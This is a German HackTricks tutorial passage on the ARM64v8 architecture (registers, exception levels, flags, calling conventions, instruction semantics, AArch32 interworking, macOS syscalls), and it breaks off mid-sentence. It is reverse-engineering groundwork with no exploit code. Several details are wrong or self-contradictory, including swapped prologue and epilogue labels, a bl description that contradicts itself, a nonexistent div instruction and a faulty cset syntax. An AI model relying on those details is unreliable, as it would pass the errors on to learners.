Einführung in ARM64v8
Reading time: 37 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Exception Levels - EL (ARM64v8)
In der ARMv8-Architektur definieren Ausführungslevel, bekannt als Exception Levels (ELs), das Privilegniveau und die Fähigkeiten der Ausführungsumgebung. Es gibt vier Exception Levels, von EL0 bis EL3, die jeweils unterschiedliche Zwecke erfüllen:
- EL0 - User Mode:
- Dies ist das am wenigsten privilegierte Level und wird zum Ausführen gewöhnlicher Anwendungsprogramme verwendet.
- Anwendungen, die in EL0 laufen, sind voneinander und vom Systemsoftware isoliert, was Sicherheit und Stabilität erhöht.
- EL1 - Operating System Kernel Mode:
- Die meisten Betriebssystemkerne laufen auf diesem Level.
- EL1 hat mehr Privilegien als EL0 und kann auf Systemressourcen zugreifen, jedoch mit einigen Beschränkungen, um die Systemintegrität zu gewährleisten.
- EL2 - Hypervisor Mode:
- Dieses Level wird für Virtualisierung verwendet. Ein Hypervisor, der in EL2 läuft, kann mehrere Betriebssysteme (jeweils in ihrem eigenen EL1) auf derselben physischen Hardware verwalten.
- EL2 bietet Funktionen zur Isolation und Steuerung der virtualisierten Umgebungen.
- EL3 - Secure Monitor Mode:
- Dies ist das privilegierteste Level und wird häufig für Secure Boot und Trusted Execution Environments verwendet.
- EL3 kann Zugriffe zwischen sicheren und nicht-sicheren Zuständen verwalten und kontrollieren (z. B. secure boot, trusted OS usw.).
Die Verwendung dieser Level ermöglicht eine strukturierte und sichere Verwaltung verschiedener Aspekte des Systems, von Benutzeranwendungen bis zur höchst privilegierten Systemsoftware. Der ARMv8-Ansatz zu Privileglevels hilft dabei, verschiedene Systemkomponenten effektiv zu isolieren und so die Sicherheit und Robustheit des Systems zu verbessern.
Registers (ARM64v8)
ARM64 hat 31 allgemeine Register, bezeichnet x0
bis x30
. Jedes kann einen 64-Bit (8-Byte) Wert speichern. Für Operationen, die nur 32-Bit-Werte benötigen, können dieselben Register im 32-Bit-Modus über die Namen w0
bis w30
angesprochen werden.
x0
bisx7
- Diese werden typischerweise als temporäre Register und zum Übergeben von Parametern an Subroutinen verwendet.
x0
trägt auch die Rückgabedaten einer Funktion.
x8
- Im Linux-Kernel wirdx8
als Systemcall-Nummer für diesvc
-Instruktion verwendet. In macOS ist jedochx16
die verwendete!x9
bisx15
- Weitere temporäre Register, oft für lokale Variablen verwendet.x16
undx17
- Intra-procedural Call Registers. Temporäre Register für unmittelbare Werte. Sie werden auch für indirekte Funktionsaufrufe und PLT-Stubs verwendet.
x16
wird in macOS als Systemcall-Nummer für diesvc
-Instruktion verwendet.
x18
- Platform register. Es kann als allgemeines Register verwendet werden, aber auf manchen Plattformen ist dieses Register für plattformspezifische Zwecke reserviert: Pointer auf den aktuellen Thread-Umgebungsblock in Windows oder um auf die momentan ausführende task structure im linux kernel zu zeigen.x19
bisx28
- Dies sind vom Callee zu sichernde Register. Eine Funktion muss die Werte dieser Register für ihren Caller erhalten, daher werden sie auf dem Stack gespeichert und vor der Rückkehr zum Caller wiederhergestellt.x29
- Frame pointer, um den Stackframe nachzuverfolgen. Wenn ein neuer Stackframe erstellt wird, weil eine Funktion aufgerufen wird, wird dasx29
-Register im Stack gespeichert und die neue Frame-Pointer-Adresse (diesp
-Adresse) wird in diesem Register gespeichert.
- Dieses Register kann auch als allgemeines Register verwendet werden, obwohl es normalerweise als Referenz für lokale Variablen dient.
x30
oderlr
- Link register. Es hält die Rücksprungadresse, wenn eineBL
(Branch with Link) oderBLR
(Branch with Link to Register) Instruktion ausgeführt wird, indem der aktuellepc
-Wert in dieses Register gespeichert wird.
- Es kann auch wie jedes andere Register verwendet werden.
- Wenn die aktuelle Funktion eine neue Funktion aufruft und dadurch
lr
überschrieben wird, wirdlr
zu Beginn auf dem Stack gespeichert; dies ist das Epilog (stp x29, x30 , [sp, #-48]; mov x29, sp
-> Speicherefp
undlr
, generiere Platz und setze neuenfp
) und am Ende wiederhergestellt; dies ist der Prolog (ldp x29, x30, [sp], #48; ret
-> Wiederherstellen vonfp
undlr
und Rückkehr).
sp
- Stack pointer, verwendet, um die Spitze des Stacks zu verfolgen.
- Der
sp
-Wert sollte immer mindestens eine Quadword-Ausrichtung haben, sonst kann eine Alignment-Exception auftreten.
pc
- Program counter, der auf die nächste Instruktion zeigt. Dieses Register kann nur durch das Erzeugen von Exceptions, Exception-Returns und Branches aktualisiert werden. Die einzigen gewöhnlichen Instruktionen, die dieses Register lesen können, sind Branch-with-Link-Instruktionen (BL, BLR), um diepc
-Adresse inlr
(Link Register) zu speichern.xzr
- Zero register. Auch alswzr
in seiner 32-Bit-Form bezeichnet. Kann verwendet werden, um leicht den Nullwert zu erhalten (häufige Operation) oder um Vergleiche mitsubs
durchzuführen wiesubs XZR, Xn, #10
, wobei das Ergebnis nirgendwo gespeichert wird (inxzr
).
Die Wn
Register sind die 32bit Version der Xn
Register.
tip
Die Register von X0
- X18
sind volatil, das bedeutet, dass ihre Werte durch Funktionsaufrufe und Interrupts geändert werden können. Die Register von X19
- X28
sind hingegen nicht-volatile, was bedeutet, dass ihre Werte über Funktionsaufrufe hinweg erhalten bleiben müssen ("callee saved").
SIMD and Floating-Point Registers
Außerdem gibt es weitere 32 Register mit 128bit Länge, die in optimierten Single Instruction Multiple Data (SIMD)-Operationen und für Gleitkommaberechnungen verwendet werden können. Diese werden als Vn-Register bezeichnet, obwohl sie auch in 64-Bit-, 32-Bit-, 16-Bit- und 8-Bit-Form betrieben werden können und dann Qn
, Dn
, Sn
, Hn
und Bn
genannt werden.
System Registers
Es gibt Hunderte von Systemregistern, auch Special-Purpose Registers (SPRs) genannt, die zur Überwachung und Steuerung des Verhaltens von Prozessoren verwendet werden.
Sie können nur mit den speziellen Instruktionen mrs
und msr
gelesen oder gesetzt werden.
Die Spezialregister TPIDR_EL0
und TPIDDR_EL0
tauchen häufig beim Reverse Engineering auf. Der Suffix EL0
gibt die minimal notwendige Exception an, aus der das Register zugänglich ist (in diesem Fall ist EL0 das reguläre Exception- (Privileg-)Level, in dem normale Programme laufen).
Sie werden oft verwendet, um die Basisadresse des thread-local storage Speicherbereichs zu speichern. Üblicherweise ist das erste les- und schreibbar für Programme, die in EL0 laufen, während das zweite von EL0 gelesen und von EL1 geschrieben werden kann (z. B. Kernel).
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0
PSTATE
PSTATE enthält mehrere Prozesskomponenten, die in das für das Betriebssystem sichtbare SPSR_ELx
Spezialregister serialisiert sind, wobei X das Berechtigungslevel der ausgelösten Exception ist (das ermöglicht die Wiederherstellung des Prozesszustands, wenn die Exception beendet ist).
Dies sind die zugänglichen Felder:
.png)
- Die Bedingungsflags
N
,Z
,C
und `V``: N
bedeutet, dass die Operation ein negatives Ergebnis lieferte.Z
bedeutet, dass die Operation Null lieferte.C
bedeutet, dass ein Übertrag (carry) aufgetreten ist.V
bedeutet, dass die Operation einen vorzeichenbehafteten Überlauf lieferte:- Die Summe zweier positiver Zahlen ergibt ein negatives Ergebnis.
- Die Summe zweier negativer Zahlen ergibt ein positives Ergebnis.
- Bei Subtraktionen, wenn eine große negative Zahl von einer kleineren positiven Zahl subtrahiert wird (oder umgekehrt) und das Ergebnis nicht innerhalb des darstellbaren Bereichs der gegebenen Bitgröße liegt.
- Offensichtlich weiß der Prozessor nicht, ob die Operation vorzeichenbehaftet ist oder nicht, daher prüft er C und V in den Operationen und zeigt an, ob ein Carry aufgetreten ist, unabhängig davon, ob es vorzeichenbehaftet oder vorzeichenlos war.
warning
Nicht alle Instruktionen aktualisieren diese Flags. Einige wie CMP
oder TST
tun es, und andere, die ein s
-Suffix haben wie ADDS
, tun es ebenfalls.
- Das aktuelle Registerbreiten-Flag (
nRW
): Wenn das Flag den Wert 0 hat, läuft das Programm beim Fortsetzen im AArch64-Ausführungszustand. - Das aktuelle Exception Level (
EL
): Ein reguläres Programm, das in EL0 läuft, hat den Wert 0. - Das Single-Stepping-Flag (
SS
): Wird von Debuggern verwendet, um Single-Steps auszuführen, indem das SS-Flag inSPSR_ELx
durch eine Exception auf 1 gesetzt wird. Das Programm führt dann einen Schritt aus und löst eine Single-Step-Exception aus. - Das Flag für den illegalen Exception-Zustand (
IL
): Es wird verwendet, um zu markieren, wenn Software mit Privilegien einen ungültigen Exception-Level-Transfer durchführt; dieses Flag wird auf 1 gesetzt und der Prozessor löst eine illegal state exception aus. - Die
DAIF
-Flags: Diese Flags erlauben einem privilegierten Programm, bestimmte externe Exceptions selektiv zu maskieren. - Wenn
A
= 1 bedeutet das, dass asynchrone Aborts ausgelöst werden. DasI
konfiguriert die Reaktion auf externe Hardware Interrupt Requests (IRQs). Und das F bezieht sich auf Fast Interrupt Requests (FIRs). - Die Flags zur Auswahl des Stack-Pointers (
SPS
): Privilegierte Programme, die in EL1 und höher laufen, können zwischen der Verwendung ihres eigenen Stack-Pointers und dem User-Mode-Stack-Pointer wechseln (z. B. zwischenSP_EL1
undEL0
). Dieses Umschalten erfolgt durch Schreiben in das spezielle RegisterSPSel
. Dies kann nicht von EL0 aus durchgeführt werden.
Calling Convention (ARM64v8)
Die ARM64-Calling-Convention legt fest, dass die ersten acht Parameter einer Funktion in den Registern x0
bis x7
übergeben werden. Zusätzliche Parameter werden auf dem Stack übergeben. Der Rückgabewert wird in Register x0
zurückgegeben, oder in x1
, wenn er 128 Bit lang ist. Die Register x19
bis x30
und sp
müssen über Funktionsaufrufe hinweg erhalten bleiben.
Beim Lesen einer Funktion in Assembly sollte man auf das Function Prologue und Epilogue achten. Das Prologue beinhaltet in der Regel das Sichern des Frame-Pointers (x29
), das Aufsetzen eines neuen Frame-Pointers und das Allokieren von Stack-Speicher. Das Epilogue beinhaltet normalerweise das Wiederherstellen des gespeicherten Frame-Pointers und das Zurückkehren aus der Funktion.
Calling Convention in Swift
Swift hat seine eigene calling convention, die unter https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64 zu finden ist.
Common Instructions (ARM64v8)
ARM64-Instruktionen haben im Allgemeinen das Format opcode dst, src1, src2
, wobei opcode
die auszuführende Operation ist (wie add
, sub
, mov
usw.), dst
das Zielregister ist, in das das Ergebnis geschrieben wird, und src1
und src2
die Quellregister sind. Immediate-Werte können ebenfalls anstelle von Quellregistern verwendet werden.
-
mov
: Move einen Wert von einem Register in ein anderes. -
Beispiel:
mov x0, x1
— Dies verschiebt den Wert vonx1
nachx0
. -
ldr
: Load einen Wert aus dem Speicher in ein Register. -
Beispiel:
ldr x0, [x1]
— Dies lädt einen Wert aus der Speicheradresse, auf diex1
zeigt, inx0
. -
Offset mode: Ein Offset, das den Ursprungspointer beeinflusst, wird angegeben, zum Beispiel:
-
ldr x2, [x1, #8]
, dies lädt in x2 den Wert von x1 + 8 -
ldr x2, [x0, x1, lsl #2]
, dies lädt in x2 ein Objekt aus dem Array x0, von der Position x1 (Index) * 4 -
Pre-indexed mode: Dies wendet Berechnungen auf den Ursprung an, gibt das Ergebnis zurück und speichert auch den neuen Ursprung.
-
ldr x2, [x1, #8]!
, dies lädtx1 + 8
inx2
und speichert in x1 das Ergebnis vonx1 + 8
-
str lr, [sp, #-4]!
, Speichert das Link-Register in sp und aktualisiert das Register sp -
Post-index mode: Dies ist wie das vorherige, aber die Speicheradresse wird zuerst zugegriffen und dann wird das Offset berechnet und gespeichert.
-
ldr x0, [x1], #8
, ladex1
inx0
und aktualisiere x1 mitx1 + 8
-
PC-relative addressing: In diesem Fall wird die zu ladende Adresse relativ zum PC-Register berechnet
-
ldr x1, =_start
, Dies lädt die Adresse, an der das Symbol_start
beginnt, in x1 relativ zum aktuellen PC. -
str
: Store einen Wert aus einem Register in den Speicher. -
Beispiel:
str x0, [x1]
— Dies speichert den Wert inx0
an der Speicheradresse, auf diex1
zeigt. -
ldp
: Load Pair of Registers. Diese Instruktion lädt zwei Register aus aufeinandergestimmten Speicheradressen. Die Speicheradresse wird typischerweise durch Hinzufügen eines Offsets zu einem anderen Register gebildet. -
Beispiel:
ldp x0, x1, [x2]
— Dies lädtx0
undx1
aus den Speicheradressen beix2
bzw.x2 + 8
. -
stp
: Store Pair of Registers. Diese Instruktion schreibt zwei Register in aufeinanderfolgende Speicheradressen. Die Speicheradresse wird typischerweise durch Hinzufügen eines Offsets zu einem anderen Register gebildet. -
Beispiel:
stp x0, x1, [sp]
— Dies speichertx0
undx1
an den Speicherstellensp
bzw.sp + 8
. -
stp x0, x1, [sp, #16]!
— Dies speichertx0
undx1
ansp+16
undsp+24
und aktualisiertsp
aufsp+16
. -
add
: Addiert die Werte zweier Register und speichert das Ergebnis in einem Register. -
Syntax: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Ziel
-
Xn2 -> Operand 1
-
Xn3 | #imm -> Operand 2 (Register oder Immediate)
-
[shift #N | RRX] -> Führe eine Verschiebung aus oder rufe RRX auf
-
Beispiel:
add x0, x1, x2
— Dies addiert die Werte inx1
undx2
und speichert das Ergebnis inx0
. -
add x5, x5, #1, lsl #12
— Dies entspricht 4096 (eine 1 um 12 Stellen verschoben) -> 1 0000 0000 0000 0000 -
adds
: Führt einadd
aus und aktualisiert die Flags. -
sub
: Subtrahiert die Werte zweier Register und speichert das Ergebnis in einem Register. -
Siehe
add
Syntax. -
Beispiel:
sub x0, x1, x2
— Dies subtrahiert den Wert inx2
vonx1
und speichert das Ergebnis inx0
. -
subs
: Wiesub
, aber aktualisiert die Flags. -
mul
: Multipliziert die Werte von zwei Registern und speichert das Ergebnis in einem Register. -
Beispiel:
mul x0, x1, x2
— Dies multipliziert die Werte inx1
undx2
und speichert das Ergebnis inx0
. -
div
: Teilt den Wert eines Registers durch ein anderes und speichert das Ergebnis in einem Register. -
Beispiel:
div x0, x1, x2
— Dies teilt den Wert inx1
durchx2
und speichert das Ergebnis inx0
. -
lsl
,lsr
,asr
,ror
,rrx
: -
Logical shift left: Fügt am Ende Nullen hinzu und verschiebt die anderen Bits nach vorne (multipliziert mit 2^n).
-
Logical shift right: Fügt am Anfang Nullen hinzu und verschiebt die anderen Bits nach hinten (teilt bei vorzeichenlosen Zahlen durch 2^n).
-
Arithmetic shift right: Wie
lsr
, aber statt Nullen hinzuzufügen, werden, wenn das höchstwertige Bit 1 ist, Einsen hinzugefügt (Teilen durch 2^n bei vorzeichenbehafteten Zahlen). -
Rotate right: Wie
lsr
, aber was rechts entfernt wird, wird links wieder angefügt. -
Rotate Right with Extend: Wie
ror
, jedoch mit dem Carry-Flag als "höchstwertiges Bit". Das Carry-Flag wird in Bit 31 verschoben und das entfernte Bit ins Carry-Flag. -
bfm
: Bit Field Move, diese Operationen kopieren Bits0...n
aus einem Wert und platzieren sie in Positionenm..m+n
.#s
gibt die linke (höhere) Bitposition an und#r
die Rotate-Right-Menge. -
Bitfield move:
BFM Xd, Xn, #r
-
Signed Bitfield move:
SBFM Xd, Xn, #r, #s
-
Unsigned Bitfield move:
UBFM Xd, Xn, #r, #s
-
Bitfield Extract and Insert: Kopiert ein Bitfeld aus einem Register und fügt es in ein anderes Register ein.
-
BFI X1, X2, #3, #4
: Fügt 4 Bits von X2 ab Bit 3 in X1 ein. -
BFXIL X1, X2, #3, #4
: Extrahiert ab Bit 3 von X2 vier Bits und kopiert sie nach X1. -
SBFIZ X1, X2, #3, #4
: Sign-extendet 4 Bits von X2 und fügt sie in X1 beginnend an Bitposition 3 ein, wobei die rechten Bits auf 0 gesetzt werden. -
SBFX X1, X2, #3, #4
: Extrahiert 4 Bits ab Bit 3 von X2, sign-extendet sie und legt das Ergebnis in X1 ab. -
UBFIZ X1, X2, #3, #4
: Zero-extendet 4 Bits von X2 und fügt sie in X1 beginnend an Bitposition 3 ein, wobei die rechten Bits auf 0 gesetzt werden. -
UBFX X1, X2, #3, #4
: Extrahiert 4 Bits ab Bit 3 von X2 und legt das zero-extendete Ergebnis in X1 ab. -
Sign Extend To X: Erweitert das Vorzeichen (oder fügt bei der unsigned-Version Nullen hinzu) eines Werts, um Operationen damit durchführen zu können:
-
SXTB X1, W2
: Erweitert das Vorzeichen eines Bytes von W2 nach X1 (W2
ist die untere Hälfte vonX2
) um die 64 Bit zu füllen. -
SXTH X1, W2
: Erweitert das Vorzeichen einer 16-Bit-Zahl von W2 nach X1 um die 64 Bit zu füllen. -
SXTW X1, W2
: Erweitert das Vorzeichen eines 32-Bit-Werts von W2 nach X1 um die 64 Bit zu füllen. -
UXTB X1, W2
: Fügt Nullen (unsigned) zu einem Byte von W2 nach X1 hinzu, um die 64 Bit zu füllen. -
extr
: Extrahiert Bits aus einem angegebenen Paar von konkatenierenden Registern. -
Beispiel:
EXTR W3, W2, W1, #3
Dies wird W1+W2 konkatenieren und von Bit 3 von W2 bis Bit 3 von W1 extrahieren und in W3 speichern. -
cmp
: Vergleicht zwei Register und setzt die Condition-Flags. Es ist ein Alias vonsubs
, wobei das Zielregister auf das Zero-Register gesetzt wird. Nützlich, um zu prüfen, obm == n
. -
Es unterstützt dieselbe Syntax wie
subs
. -
Beispiel:
cmp x0, x1
— Dies vergleicht die Werte inx0
undx1
und setzt entsprechend die Condition-Flags. -
cmn
: Compare negative Operand. In diesem Fall ist es ein Alias vonadds
und unterstützt dieselbe Syntax. Nützlich, um zu prüfen, obm == -n
. -
ccmp
: Bedingter Vergleich; er wird nur ausgeführt, wenn ein vorheriger Vergleich wahr war, und setzt speziell die nzcv-Bits. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func
-> wenn x1 != x2 und x3 < x4, springe zu func -
Das liegt daran, dass
ccmp
nur ausgeführt wird, wenn der vorherigecmp
einNE
war; wenn nicht, werden die Bitsnzcv
auf 0 gesetzt (was dieblt
-Bedingung nicht erfüllt). -
Dies kann auch als
ccmn
verwendet werden (gleiches aber invertiert, wiecmp
vscmn
). -
tst
: Prüft, ob irgendeines der Vergleichsbits 1 ist (es funktioniert wie ein ANDS ohne das Ergebnis irgendwo zu speichern). Nützlich, um ein Register mit einem Wert zu prüfen und zu sehen, ob eines der durch den Wert angegebenen Bits gesetzt ist. -
Beispiel:
tst X1, #7
Prüft, ob eines der letzten 3 Bits von X1 1 ist. -
teq
: XOR-Operation, Ergebnis wird verworfen. -
b
: Unbedingter Branch. -
Beispiel:
b myFunction
-
Beachte, dass dies nicht das Link-Register mit der Rücksprungadresse füllt (nicht geeignet für Subroutinenaufrufe, die zurückkehren müssen).
-
bl
: Branch with link, wird zum Aufruf einer Subroutine verwendet. Speichert die Rücksprungadresse inx30
. -
Beispiel:
bl myFunction
— Ruft die FunktionmyFunction
auf und speichert die Rücksprungadresse inx30
. -
Hinweis: Dies füllt nicht das Link-Register mit der Rücksprungadresse (nicht geeignet für Subroutinenaufrufe, die zurückkehren müssen). [Anmerkung: dieser Satz war im Original doppelt vorhanden; belassen]
-
blr
: Branch with Link to Register, verwendet, um eine Subroutine aufzurufen, deren Ziel in einem Register steht. Speichert die Rücksprungadresse inx30
. -
Beispiel:
blr x1
— Ruft die Funktion auf, deren Adresse inx1
enthalten ist, und speichert die Rücksprungadresse inx30
. -
ret
: Return aus einer Subroutine, typischerweise unter Verwendung der Adresse inx30
. -
Beispiel:
ret
— Dies kehrt aus der aktuellen Subroutine unter Verwendung der Rücksprungadresse inx30
zurück. -
b.<cond>
: Bedingte Branches. -
b.eq
: Branch if equal, basierend auf dem vorherigencmp
. -
Beispiel:
b.eq label
— Wenn die vorherigecmp
-Instruktion gleiche Werte fand, springt dies zulabel
. -
b.ne
: Branch if Not Equal. Diese Instruktion prüft die Condition-Flags (gesetzt durch eine vorherige Vergleichs-Instruktion), und wenn die verglichenen Werte nicht gleich waren, verzweigt sie zu einem Label oder einer Adresse. -
Beispiel: Nach einer
cmp x0, x1
Instruktion,b.ne label
— Wenn die Werte inx0
undx1
nicht gleich sind, springt dies zulabel
. -
cbz
: Compare and Branch on Zero. Diese Instruktion vergleicht ein Register mit Null, und wenn es gleich ist, verzweigt sie. -
Beispiel:
cbz x0, label
— Wenn der Wert inx0
Null ist, springt dies zulabel
. -
cbnz
: Compare and Branch on Non-Zero. Diese Instruktion vergleicht ein Register mit Null, und wenn es nicht Null ist, verzweigt sie. -
Beispiel:
cbnz x0, label
— Wenn der Wert inx0
nicht Null ist, springt dies zulabel
. -
tbnz
: Test bit and branch on nonzero. -
Beispiel:
tbnz x0, #8, label
-
tbz
: Test bit and branch on zero. -
Beispiel:
tbz x0, #8, label
-
Conditional select operations: Diese Operationen ändern ihr Verhalten abhängig von den Condition-Bits.
-
csel Xd, Xn, Xm, cond
->csel X0, X1, X2, EQ
-> Wenn wahr, X0 = X1, sonst X0 = X2 -
csinc Xd, Xn, Xm, cond
-> Wenn wahr, Xd = Xn, sonst Xd = Xm + 1 -
cinc Xd, Xn, cond
-> Wenn wahr, Xd = Xn + 1, sonst Xd = Xn -
csinv Xd, Xn, Xm, cond
-> Wenn wahr, Xd = Xn, sonst Xd = NOT(Xm) -
cinv Xd, Xn, cond
-> Wenn wahr, Xd = NOT(Xn), sonst Xd = Xn -
csneg Xd, Xn, Xm, cond
-> Wenn wahr, Xd = Xn, sonst Xd = - Xm -
cneg Xd, Xn, cond
-> Wenn wahr, Xd = - Xn, sonst Xd = Xn -
cset Xd, Xn, Xm, cond
-> Wenn wahr, Xd = 1, sonst Xd = 0 -
csetm Xd, Xn, Xm, cond
-> Wenn wahr, Xd = <all 1>, sonst Xd = 0 -
adrp
: Berechnet die Page-Adresse eines Symbols und speichert sie in einem Register. -
Beispiel:
adrp x0, symbol
— Dies berechnet die Page-Adresse vonsymbol
und speichert sie inx0
. -
ldrsw
: Lädt einen signierten 32-Bit-Wert aus dem Speicher und sign-extendet ihn auf 64 Bit. -
Beispiel:
ldrsw x0, [x1]
— Dies lädt einen signierten 32-Bit-Wert aus der Speicheradresse, auf diex1
zeigt, sign-extendet ihn auf 64 Bit und speichert ihn inx0
. -
stur
: Speichert einen Registerwert an einer Speicheradresse, wobei ein Offset von einem anderen Register verwendet wird. -
Beispiel:
stur x0, [x1, #4]
— Dies speichert den Wert inx0
in die Speicheradresse, die 4 Bytes größer ist als die Adresse inx1
. -
svc
: Führt einen System Call aus. Es steht für "Supervisor Call". Wenn der Prozessor diese Instruktion ausführt, wechselt er vom User Mode in den Kernel Mode und springt zu einer bestimmten Stelle im Speicher, an der der Kernel-Code zur Behandlung von System Calls liegt. -
Beispiel:
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
Function Prologue
- Save the link register and frame pointer to the stack:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- Setze den neuen Frame-Zeiger:
mov x29, sp
(richtet den neuen Frame-Zeiger für die aktuelle Funktion ein) - Platz auf dem Stack für lokale Variablen reservieren (falls erforderlich):
sub sp, sp, <size>
(wobei<size>
die benötigte Anzahl an Bytes ist)
Funktions-Epilog
- Lokale Variablen freigeben (falls welche reserviert wurden):
add sp, sp, <size>
- Link-Register und Frame-Zeiger wiederherstellen:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Rückgabe:
ret
(gibt die Kontrolle an den Aufrufer unter Verwendung der Adresse im Link-Register zurück)
AARCH32 Ausführungszustand
Armv8-A unterstützt die Ausführung von 32-Bit-Programmen. AArch32 kann in einem von zwei Befehlssätzen laufen: A32
und T32
und kann mittels interworking
zwischen ihnen wechseln.\
Privilegierte 64-Bit-Programme können die Ausführung von 32-Bit-Programmen veranlassen, indem sie einen Exception-Level-Transfer auf das weniger privilegierte 32-Bit durchführen.
Beachte, dass der Übergang von 64-Bit zu 32-Bit mit einem niedrigeren Exception-Level erfolgt (zum Beispiel ein 64-Bit-Programm in EL1, das ein Programm in EL0 auslöst). Dies geschieht, indem Bit 4 des speziellen Registers SPSR_ELx
auf 1 gesetzt wird, wenn der AArch32
-Prozessthread zur Ausführung bereit ist, und der Rest von SPSR_ELx
das CPSR des AArch32
-Programms speichert. Anschließend ruft der privilegierte Prozess die ERET
-Anweisung auf, sodass der Prozessor zu AArch32
wechselt und in A32 oder T32 eintritt, abhängig vom CPSR.
Das interworking
erfolgt über die J- und T-Bits des CPSR. J=0
und T=0
bedeutet A32
und J=0
und T=1
bedeutet T32. Das bedeutet im Grunde, dass das niedrigste Bit auf 1 gesetzt wird, um anzuzeigen, dass das Instruction Set T32 ist.
Dies wird während der interworking branch instructions gesetzt, kann aber auch direkt mit anderen Instruktionen gesetzt werden, wenn das PC als Zielregister gesetzt wird. Beispiel:
Ein weiteres Beispiel:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
Register
There are 16 32-bit registers (r0-r15). From r0 to r14 they can be used for any operation, however some of them are usually reserved:
r15
: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.r11
: Frame Pointerr12
: Intra-procedural call registerr13
: Stack Pointer (Beachte, dass der Stack immer 16-Byte-ausgerichtet ist)r14
: Link Register
Moreover, registers are backed up in banked registries
. Das sind Speicherstellen, die die Registerwerte sichern und so ein schnelles Context-Switching bei der Ausnahmebehandlung und privilegierten Operationen ermöglichen, um das manuelle Speichern und Wiederherstellen der Register zu vermeiden.
Dies geschieht, indem der Prozessorzustand vom CPSR
in das SPSR
des Prozessormodus gespeichert wird, in den die Exception übergeht. Beim Zurückkehren aus der Exception wird das CPSR
aus dem SPSR
wiederhergestellt.
CPSR - Current Program Status Register
In AArch32 funktioniert das CPSR ähnlich wie PSTATE
in AArch64 und wird ebenfalls in SPSR_ELx
gespeichert, wenn eine Exception ausgelöst wird, um die Ausführung später wiederherzustellen:
.png)
Die Felder sind in mehrere Gruppen unterteilt:
- Application Program Status Register (APSR): Arithmetische Flags und von EL0 zugänglich
- Execution State Registers: Prozessverhalten (vom OS verwaltet).
Application Program Status Register (APSR)
- Die
N
,Z
,C
,V
Flags (wie in AArch64) - Das
Q
-Flag: Es wird auf 1 gesetzt, wann immer während der Ausführung einer spezialisierten saturierenden arithmetischen Instruktion eine Integer-Sättigung auftritt. Sobald es auf1
gesetzt ist, behält es diesen Wert, bis es manuell auf 0 gesetzt wird. Darüber hinaus gibt es keine Instruktion, die seinen Wert implizit prüft; die Prüfung muss manuell durch Auslesen erfolgen. GE
(Greater than or equal) Flags: Wird in SIMD-Operationen (Single Instruction, Multiple Data) verwendet, wie etwa "parallel add" und "parallel subtract". Diese Operationen erlauben die Verarbeitung mehrerer Datenpunkte in einer einzigen Instruktion.
Zum Beispiel addiert die UADD8
-Instruktion vier Byte-Paare (aus zwei 32-Bit-Operanden) parallel und speichert die Ergebnisse in einem 32-Bit-Register. Sie setzt anschließend die GE
-Flags im APSR
basierend auf diesen Ergebnissen. Jedes GE-Flag entspricht einer der Byte-Additionen und zeigt an, ob die Addition für dieses Byte-Paar übergelaufen ist.
Die SEL
-Instruktion verwendet diese GE-Flags, um bedingte Aktionen auszuführen.
Execution State Registers
- Die
J
- undT
-Bits:J
sollte 0 sein; wennT
0 ist, wird das Instruktionsset A32 verwendet, und wenn es 1 ist, wird T32 verwendet. - IT Block State Register (
ITSTATE
): Dies sind die Bits 10-15 und 25-26. Sie speichern Bedingungen für Instruktionen innerhalb einer mitIT
vorangestellten Gruppe. E
-Bit: Gibt die Endianness an.- Mode and Exception Mask Bits (0-4): Bestimmen den aktuellen Ausführungszustand. Das 5. Bit zeigt an, ob das Programm als 32bit (1) oder 64bit (0) läuft. Die anderen 4 repräsentieren den derzeit verwendeten Exception-Modus (wenn eine Exception auftritt und behandelt wird). Die gesetzte Zahl gibt die aktuelle Priorität an, falls während der Behandlung eine weitere Exception ausgelöst wird.
.png)
AIF
: Bestimmte Exceptions können durch die BitsA
,I
,F
deaktiviert werden. IstA
1, bedeutet das, dass asynchrone Aborts ausgelöst werden. DasI
konfiguriert die Reaktion auf externe Hardware Interrupt Requests (IRQs), undF
bezieht sich auf Fast Interrupt Requests (FIRs).
macOS
BSD syscalls
Siehe syscalls.master oder führe cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
aus. BSD syscalls haben x16 > 0.
Mach Traps
Siehe in syscall_sw.c die mach_trap_table
und in mach_traps.h die Prototypen. Die maximale Anzahl der Mach-Traps ist MACH_TRAP_TABLE_COUNT
= 128. Mach-Traps haben x16 < 0, daher muss man die Nummern aus der vorherigen Liste mit einem Minus aufrufen: _kernelrpc_mach_vm_allocate_trap
ist -10
.
Du kannst auch libsystem_kernel.dylib
in einem Disassembler prüfen, um herauszufinden, wie diese (und BSD-) syscalls aufgerufen werden:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Beachte, dass Ida und Ghidra auch specific dylibs aus dem Cache dekompilieren können, indem man einfach den Cache übergibt.
tip
Manchmal ist es einfacher, den dekompilierten Code von libsystem_kernel.dylib
